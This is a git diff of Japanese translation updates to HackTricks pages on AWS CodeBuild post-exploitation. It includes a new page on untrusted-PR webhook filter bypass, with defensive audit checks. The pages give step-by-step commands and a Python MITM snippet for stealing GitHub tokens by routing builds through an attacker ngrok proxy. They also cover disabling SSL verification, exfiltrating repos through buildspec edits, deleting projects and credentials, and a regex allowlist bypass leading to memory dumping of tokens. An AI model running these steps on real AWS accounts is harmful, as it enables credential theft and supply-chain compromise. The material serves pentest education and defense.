mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,46 +1,46 @@
|
||||
# AWS - CodeBuild ポストエクスプロイテーション
|
||||
# AWS - CodeBuild Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
詳細については、次を確認してください:
|
||||
For more information, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### シークレットの確認
|
||||
### Check Secrets
|
||||
|
||||
もし認証情報がCodebuildに設定されてGithub、Gitlab、またはBitbucketに接続するための個人トークン、パスワード、またはOAuthトークンアクセスの形で設定されている場合、これらの**認証情報はシークレットマネージャーにシークレットとして保存されます**。\
|
||||
したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。
|
||||
もし Codebuild に Github、Gitlab、Bitbucket への接続用の資格情報が personal tokens、passwords、または OAuth token access の形で設定されている場合、これらの **credentials are going to be stored as secrets in the secret manager**。\
|
||||
したがって、secret manager を読み取るアクセスがあれば、これらの secrets を取得して接続されたプラットフォームへ pivot することができます。
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### CodeBuild リポジトリアクセスの悪用
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
**CodeBuild**を構成するためには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります:
|
||||
CodeBuild を設定するには、使用するコードリポジトリへの **access to the code repo** が必要です。これらのコードは複数のプラットフォームでホスティングされている可能性があります:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**を介して、またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
|
||||
**CodeBuild**で**昇格した権限を持つ攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された認証情報がアクセスできる他のリポジトリを漏洩させることができます。\
|
||||
これを行うために、攻撃者は単に**設定された認証情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします):
|
||||
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
|
||||
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
そして、**各リポジトリを外部流出させるためにBuildspecコマンドを変更します**。
|
||||
And **change the Buildspec commands to exfiltrate each repo**.
|
||||
|
||||
> [!WARNING]
|
||||
> ただし、この**作業は繰り返しで面倒です**。もしgithubトークンが**書き込み権限**で設定されていた場合、攻撃者は**その権限を(悪)用することができません**。なぜなら、トークンへのアクセス権がないからです。\
|
||||
> それとも、あるのでしょうか?次のセクションを確認してください。
|
||||
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
|
||||
> Or does he? Check the next section
|
||||
|
||||
### AWS CodeBuildからのアクセス・トークンの漏洩
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
CodeBuildで与えられたアクセスをGithubなどのプラットフォームに漏洩させることができます。外部プラットフォームへのアクセスが与えられているか確認してください:
|
||||
CodeBuild に与えられたアクセスを Github のようなプラットフォームへ leak することができます。外部プラットフォームへのアクセスが付与されているかどうかは次で確認してください:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### Untrusted PR execution via webhook filter misconfiguration
|
||||
|
||||
webhook filters が弱いと、外部の攻撃者が自分の PR を特権的な CodeBuild プロジェクトでビルドさせ、その後 CI 内で任意のコードを実行できます。
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
攻撃者は、CodeBuildプロジェクト全体を削除することができ、プロジェクトの設定が失われ、プロジェクトに依存するアプリケーションに影響を与える可能性があります。
|
||||
攻撃者は CodeBuild プロジェクト全体を削除でき、プロジェクト設定が失われ、それに依存するアプリケーションに影響を与えます。
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**潜在的な影響**: 削除されたプロジェクトを使用しているアプリケーションのプロジェクト構成の喪失とサービスの中断。
|
||||
**潜在的な影響**: プロジェクト構成の喪失および削除されたプロジェクトを使用しているアプリケーションのサービス中断。
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
攻撃者はCodeBuildリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。
|
||||
攻撃者はCodeBuildリソースのタグを追加、変更、または削除する可能性があり、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
|
||||
**潜在的影響**: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
攻撃者はGitリポジトリのソース認証情報を削除することができ、リポジトリに依存するアプリケーションの正常な機能に影響を与える可能性があります。
|
||||
攻撃者はGitリポジトリのソース認証情報を削除し、リポジトリに依存するアプリケーションの正常な動作に影響を与える可能性があります。
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられること。
|
||||
**潜在的な影響**: 影響を受けるリポジトリのソース認証情報が削除されることで、当該リポジトリに依存するアプリケーションの通常の動作が妨げられる可能性があります。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,46 +4,45 @@
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
まず、leakできるようなソース認証情報が設定されていないか確認します:
|
||||
まず、leak できるソースの認証情報が設定されているか確認します:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Docker Image 経由
|
||||
### Docker Image を使用して
|
||||
|
||||
もしアカウントに例えば Github への認証が設定されていることが判明した場合、Codebuild にプロジェクトのビルドを実行させる際に **use an specific docker image** を使わせることで、その **access**(**GH token or OAuth token**)を **exfiltrate** できます。
|
||||
アカウントに例えば Github への認証情報が設定されている場合、Codebuild にプロジェクトのビルドを実行させる際に特定の Docker image を使用させることで、**exfiltrate** that **access** (**GH token or OAuth token**) できます。
|
||||
|
||||
この目的のために、**create a new Codebuild project** するか、既存のものの **environment** を変更して **Docker image** を設定できます。
|
||||
この目的のために、**create a new Codebuild project** するか既存プロジェクトの **environment** を変更して **Docker image** を設定できます。
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). これは非常に基本的な Docker image で、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより **`https_proxy`** および **`http_proxy`** で指定されたホストのほとんどのトラフィックをインターセプトし、**`SSL_CERT_FILE`** で指定された SSL 証明書を信頼させることができます。
|
||||
使用できる Docker image は [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより **`https_proxy`** と **`http_proxy`** に指定したホストのほとんどのトラフィックを傍受でき、**`SSL_CERT_FILE`** に指定した SSL 証明書を信頼させることができます。
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- リポジトリの指示に従い proxy IP アドレスと SSL 証明書を設定し、**build the docker image** します。
|
||||
- **DO NOT SET `http_proxy`** — メタデータエンドポイントへのリクエストをインターセプトしないようにするためです。
|
||||
- ホストをプロキシとして設定するために、**`ngrok`** を `ngrok tcp 4444` のように使うことができます。
|
||||
- Docker image をビルドしたら、**upload it to a public repo** (Dockerhub, ECR...)。
|
||||
|
||||
- リポジトリの指示に従って proxy の IP アドレスと SSL 証明書を設定し、**build the docker image** してください。
|
||||
- メタデータエンドポイントへのリクエストを傍受しないように **DO NOT SET `http_proxy`** としてください。
|
||||
- `ngrok` を使って `ngrok tcp 4444` のようにホストへプロキシを設定することができます(例)。
|
||||
- Docker image をビルドしたら、**upload it to a public repo** (Dockerhub, ECR...) してください。
|
||||
2. **Set the environment**
|
||||
- **Create a new Codebuild project** を作成するか、既存のプロジェクトの環境を **modify** します。
|
||||
- **Create a new Codebuild project** するか、既存のプロジェクトの環境を **modify** してください。
|
||||
- プロジェクトが **previously generated Docker image** を使用するように設定します。
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- **Github repo** に記載されているように、次のようなものを使うことができます:
|
||||
- **Github repo** に示されているように、次のようなものを使用できます:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> 使用した **mitmproxy** のバージョンは 9.0.1 で、バージョン10では動作しない可能性が報告されています。
|
||||
> 使用した **mitmproxy バージョンは 9.0.1** で、バージョン10では動作しない可能性が報告されています。
|
||||
|
||||
4. **ビルドを実行して資格情報を取得する**
|
||||
4. **ビルドを実行して資格情報をキャプチャする**
|
||||
|
||||
- トークンは **Authorization** ヘッダーで確認できます:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これは aws cli から次のように実行することもできます
|
||||
これは aws cli から次のようにして行うこともできます
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -74,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL 経由
|
||||
|
||||
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、ウェブ上では隠されていて API からしか変更できません。\
|
||||
これを有効にすると、Codebuild はプラットフォームが提示する証明書を**検証せずに**リポジトリに接続できるようになります。
|
||||
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web(コンソール)上では隠されていて、API からのみ変更できます.\
|
||||
これを有効にすると、Codebuild はプラットフォームが提示するリポジトリの**証明書を検証せずに**接続できるようになります。
|
||||
|
||||
- まず、次のようなコマンドで現在の設定を列挙する必要があります:
|
||||
- まずは次のような方法で現在の設定を列挙する必要があります:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- その後、収集した情報を用いてプロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する唯一の項目です)。
|
||||
- さらに、環境変数 **http_proxy** と **https_proxy** を tcp ngrok を指すように追加してください:
|
||||
- 収集した情報を使って、プロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(収集した設定から変更する必要があるのはこれだけです)。
|
||||
- また、環境変数 **http_proxy** と **https_proxy** を tcp ngrok を指すように追加してください。例えば:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -116,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- 次に、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を、プロキシ変数 (http_proxy と https_proxy) が指すポートで実行します。
|
||||
- 次に、プロキシ変数 (http_proxy と https_proxy) が指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を実行します
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -129,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 最後に、**Build the project** をクリックすると、**credentials** が **平文(base64)で mitm ポートに送信されます**:
|
||||
- 最後に、**Build the project** をクリックすると、**credentials** が **平文で送信されます** (base64) mitm ポートへ:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTP プロトコル経由~~
|
||||
|
||||
> [!TIP] > **この脆弱性は 2023年2月20日の週のいずれかの時点で AWS により修正されました(多分金曜日だと思います)。そのため、攻撃者はもはやこれを悪用できません :)**
|
||||
> [!TIP] > **この脆弱性は 2023 年 2 月 20 日の週のいつか(おそらく金曜日)に AWS によって修正されました。つまり、攻撃者はもう悪用できません :)**
|
||||
|
||||
CodeBuild 上で権限が昇格した攻撃者は、設定されている Github/Bitbucket トークンを leak できるか、権限が OAuth 経由で構成されている場合は、コードにアクセスするために使用される一時的な OAuth トークンを leak する可能性があります。
|
||||
攻撃者は**CodeBuild 上で権限が昇格していると、設定された Github/Bitbucket token を leak できる**、または権限が OAuth 経由で設定されている場合は、**コードにアクセスするために使用される一時的な OAuth token** を leak できます。
|
||||
|
||||
- 攻撃者は環境変数 **http_proxy** と **https_proxy** を CodeBuild プロジェクトに追加し、自分のマシンを指すように設定できます(例えば `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
- 攻撃者は環境変数 **http_proxy** と **https_proxy** を CodeBuild プロジェクトに追加して自分のマシンを指すようにする可能性があります(例: `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うよう変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
|
||||
- その後、proxy 変数(http_proxy と https_proxy)が指すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本例を実行します。
|
||||
- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うように変更します。例: `http://github.com/carlospolop-forks/TestActions`
|
||||
- 次に、proxy 変数(http_proxy と https_proxy)が指すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本例を実行します。
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -163,28 +162,19 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- 最後に、**credentials** は **平文で送信されます**(base64)mitm ポートへ:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> これにより攻撃者は自身のマシンからtokenを使用し、その権限を列挙して、CodeBuildサービスを直接使うよりも容易に悪用できるようになります。
|
||||
> これにより attacker は自分のマシンから token を使用でき、その token が持つすべての権限を列挙し、CodeBuild service を直接使うよりも簡単に (ab)use できます。
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## webhook フィルタの誤設定による Untrusted PR 実行
|
||||
|
||||
Misconfigured CodeBuild GitHub webhooks that use unanchored `ACTOR_ID` regexes let *untrusted* PRs start privileged builds. If the allowlist is like `123456|7890123` without `^`/`$`, any ID containing one of those substrings matches. Because GitHub user IDs are sequential, an attacker can race to register an “eclipsing” ID (a superstring of a trusted ID) and trigger the build.
|
||||
PR-triggered webhook bypass chain(`ACTOR_ACCOUNT_ID` regex + untrusted PR execution)については、次を参照してください:
|
||||
|
||||
**エクスプロイトの手順**
|
||||
|
||||
1. 公開されている CodeBuild プロジェクトで webhook filters を公開しているものを見つけ、アンカーが付いていない `ACTOR_ID` allowlist を抽出する。
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- GitHub org を作成/削除してグローバルIDカウンタをサンプリングする(org IDs は同じプールを共有する)。
|
||||
- 多数の GitHub App manifest 作成を事前準備し、カウンタがターゲットに対して概ね~100 IDs 内になったときに確認用URLを一斉に実行して、信頼されたサブストリングを含むボットIDを短時間で登録する。
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
この攻撃ベクターは、**公開向けのPRワークフロー**が弱いwebhook制御で**権限の高い CodeBuild プロジェクト**に接続されている場合に発生します。
|
||||
|
||||
外部の攻撃者が CodeBuild に自分の pull request を実行させられると、通常はビルド内での**任意コード実行(build スクリプト、依存関係フック、テストスクリプト等)**が可能になり、その後シークレット、IAM クレデンシャル、あるいはソースプロバイダの資格情報へピボットできます。
|
||||
|
||||
## Why this is dangerous
|
||||
|
||||
CodeBuild の webhook フィルタは regex パターンで評価されます(`EVENT` 以外のフィルタ)。`ACTOR_ACCOUNT_ID` フィルタでは、弱いパターンが意図より多くのユーザにマッチすることを意味します。
|
||||
信頼できない PR が権限の高い AWS ロール権限や GitHub 資格情報を持つプロジェクトでビルドされると、完全なサプライチェーン妥協になり得ます。
|
||||
|
||||
Wiz の事例では実用的なチェーンが示されています:
|
||||
|
||||
1. webhook の actor allowlist が **アンカーされていない regex** を使用していた。
|
||||
2. 攻撃者が信頼された ID の **スーパー文字列** としてマッチする GitHub ID を登録した。
|
||||
3. 悪意ある PR が CodeBuild をトリガーした。
|
||||
4. ビルド内のコード実行を使ってメモリダンプを行い、ソースプロバイダの資格情報/トークンを回収した。
|
||||
|
||||
## Misconfigurations that allow external PR code execution
|
||||
|
||||
以下は高リスクの設定ミスと、それぞれを攻撃者がどのように悪用するかです:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- 共通のリスクが高いイベント: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- 権限の高いビルドに紐づくと危険になり得る他のイベント: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- 悪い例: 権限の高いプロジェクトで `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"`.
|
||||
- 良い例: PR コメント承認を使い、権限の高いプロジェクトではトリガーイベントを最小化する。
|
||||
- 悪用: 攻撃者が自分で管理するブランチに対して PR を開く/更新するか push し、そのコードが CodeBuild 内で実行される。
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- 悪い例: アンカーされていないパターン `123456|7890123`.
|
||||
- 良い例: 厳密一致するアンカー `^(123456|7890123)$`.
|
||||
- 悪用: regex の過剰マッチにより、許可されていない GitHub ID が allowlist を通過する。
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- 悪い例: `refs/heads/.*`
|
||||
- 良い例: `^refs/heads/main$`(または明示的な信頼リスト)
|
||||
- `BASE_REF`
|
||||
- 悪い例: `.*`
|
||||
- 良い例: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- 悪い例: パス制限なし
|
||||
- 良い例: `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` のようにリスクの高いファイルを除外
|
||||
- `COMMIT_MESSAGE`
|
||||
- 悪い例: `trusted` のような緩いマッチで信頼マーカーを使う
|
||||
- 良い例: コミットメッセージを PR 実行の信頼境界として使用しない
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- 悪い例: org/global webhook での `.*`
|
||||
- 良い例: リポジトリ/組織を厳密に一致させる
|
||||
- `WORKFLOW_NAME`
|
||||
- 悪い例: `.*`
|
||||
- 良い例: ワークフロー名を厳密に一致させる(または信頼制御として使用しない)
|
||||
- 悪用: 攻撃者は permissive な regex を満たすように ref/path/message/repo コンテキストを作成してビルドをトリガーする。
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- このフラグを誤って設定すると、意図したロジックが反転することがある。
|
||||
- 悪い例: `FILE_PATH '^buildspec\\.yml$'` を `excludeMatchedPattern=false` と設定して、実際には buildspec 編集をブロックする意図が失われている。
|
||||
- 良い例: 同じパターンを `excludeMatchedPattern=true` にして `buildspec.yml` に触れるビルドを拒否する。
|
||||
- 悪用: 防御側はリスクのあるイベント/パス/actor を拒否していると思っているが、実際には許可してしまっている。
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild はグループを OR として評価する(1つのグループが通れば十分)。
|
||||
- 悪い例: 1つは厳格、もう1つは許容的なフォールバック(例: `EVENT=PULL_REQUEST_UPDATED` のみ)。
|
||||
- 良い例: actor/ref/path 制約を強制しないフォールバックグループは削除する。
|
||||
- 悪用: 攻撃者は最も弱いグループを満たすだけで良い。
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` は最も安全性が低い。
|
||||
- 承認者ロールが広すぎると制御力が低下する。
|
||||
- 悪い例: `requiresCommentApproval=DISABLED`.
|
||||
- 良い例: `ALL_PULL_REQUESTS` または `FORK_PULL_REQUESTS` を使い、承認者ロールを最小限にする。
|
||||
- 悪用: fork / ドライブバイ PR が信頼されたメンテナ承認なしに自動実行される。
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- `HEAD_REF` + `BASE_REF` + `FILE_PATH` による深い防御層が欠如している。
|
||||
- 悪い例: `EVENT` + `ACTOR_ACCOUNT_ID` のみで、ref/path 制御がない。
|
||||
- 良い例: 正確な `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` 制限を組み合わせる。
|
||||
- 悪用: 攻撃者が buildspec/CI/依存関係などのビルド入力を改変し、任意コマンド実行を得る。
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- ビルド/チェックの公開 URL は攻撃者のリコンと反復テストを容易にする。
|
||||
- 悪い例: `projectVisibility=PUBLIC_READ` で公開ビルドに機密ログ/設定が含まれる。
|
||||
- 良い例: 事業上の強い理由がない限りプロジェクトを非公開にし、ログ/アーティファクトをサニタイズする。
|
||||
- 悪用: 攻撃者はプロジェクトのパターンや挙動を発見し、ペイロードやバイパス手法を調整する。
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz の報告は、ソースプロバイダの資格情報がビルド実行時のランタイムコンテキストに存在し、ビルド侵害後に(例えばメモリダンプを経て)盗まれる可能性があることを説明しています。スコープが広い場合、これはリポジトリ乗っ取りを可能にします。
|
||||
|
||||
AWS はこの公開後にハードニングを行いましたが、核心的な教訓は変わりません: **権限の高いビルドコンテキストで信頼できない PR コードを決して実行してはいけない**、そして攻撃者支配下のビルドコードは資格情報窃取を試みると仮定すべきです。
|
||||
|
||||
追加の CodeBuild における資格情報窃取手法については、次も参照してください:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
CodeBuild がコミットステータスを GitHub に返す場合、CodeBuild のビルド URL は通常次の場所に表示されます:
|
||||
|
||||
1. **PR page** -> **Checks** タブ(または Conversation/Commits のステータス行)。
|
||||
2. **Commit page** -> status/checks セクション -> **Details** リンク。
|
||||
3. **PR commits list** -> コミットに付随するチェックコンテキストをクリック。
|
||||
|
||||
公開プロジェクトでは、このリンクが未認証ユーザにビルドのメタデータ/設定を露出することがあります。
|
||||
|
||||
<details>
|
||||
<summary>スクリプト: PR 内の CodeBuild URL を検出し、公開されているかどうかをテストする</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
動作確認済み:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## クイック監査チェックリスト
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
各プロジェクトで次を確認してください:
|
||||
|
||||
- `webhook.filterGroups` が PR イベントを含んでいるか。
|
||||
- `ACTOR_ACCOUNT_ID` のパターンが `^...$` でアンカーされていないもの。
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval` が `DISABLED` に設定されているもの。
|
||||
- ブランチ/パス制限が設定されていないもの。
|
||||
- 高権限の `serviceRole`。
|
||||
- 危険なソース認証情報のスコープや再利用。
|
||||
|
||||
## ハードニングガイダンス
|
||||
|
||||
